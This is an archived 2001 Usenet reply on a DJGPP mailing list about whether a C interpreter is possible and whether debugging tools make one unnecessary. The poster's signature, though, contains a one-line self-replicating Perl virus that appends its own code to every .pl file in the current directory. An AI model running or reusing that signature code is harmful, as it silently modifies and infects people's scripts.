From: rpolzer AT web DOT de (Rudolf Polzer) Newsgroups: comp.os.msdos.djgpp Subject: Re: interpreting C ??? References: <3A9D5EC9 DOT CE9D100C AT t-online DOT de> <983hcu$d4p$1 AT nets3 DOT rz DOT RWTH-Aachen DOT DE> X-newsgroup: comp.os.msdos.djgpp X-Mailer: GehtDichNenScheissdreckAn 1.0 User-Agent: GehtDichNenScheissdreckAn 1.0 Message-ID: User-Agent: slrn/0.9.6.2 (Linux) Date: Tue, 6 Mar 2001 21:54:21 +0100 Lines: 40 NNTP-Posting-Host: 213.7.26.101 X-Trace: 983911440 news.freenet.de 19269 213.7.26.101 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Hans-Bernhard Broeker schrieb Folgendes: > Kai Dietrich wrote: > > Hi! > > > Is there a QBasic like interpreter for the C (C++?) language written > > with GCC aviable (with sourcecode)? If not, do you think it is possible > > to write one (I'm thinking heavily about this and I already had some > > ideas how to realize it)? > > Writing a C interpreter is one of the longest standing open projects > listed by the GNU project, on their website. AFAIK, no progress has > been achieved in a long while. > > By nature, C is not a very interpreter-friendly language. Elements > that cause this include the preprocessor, complicated data structures, ^^^^^^^^^^^^ maybe... ^^^^^^^^^^^^^^^^^^^^^^^^^^^ QBasic, an _OLD_ BASIC interpreter, supports them. > and recursive function calls. If you really want to dig into this, ^^^^^^^^^^^^^^^^^^^^^^^^ No. Even GW-BASIC supports them (GOSUB). And JavaScript is, except for the preprocessor, very C-like. > I'd recommend a text book on compiler construction and the > comp.compilers newsgroup (they deal with interpreters, too, despite of > the name). Why a C interpreter? Do you mean debugging would be easier? No. Do you know Turbo Pascal for DOS? RHIDE contains a debugger frontend just as good, if not better. When your program crashes, you are pointed to the errorneous line. You have comfortable source-level debugging. Why an interpreter? -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################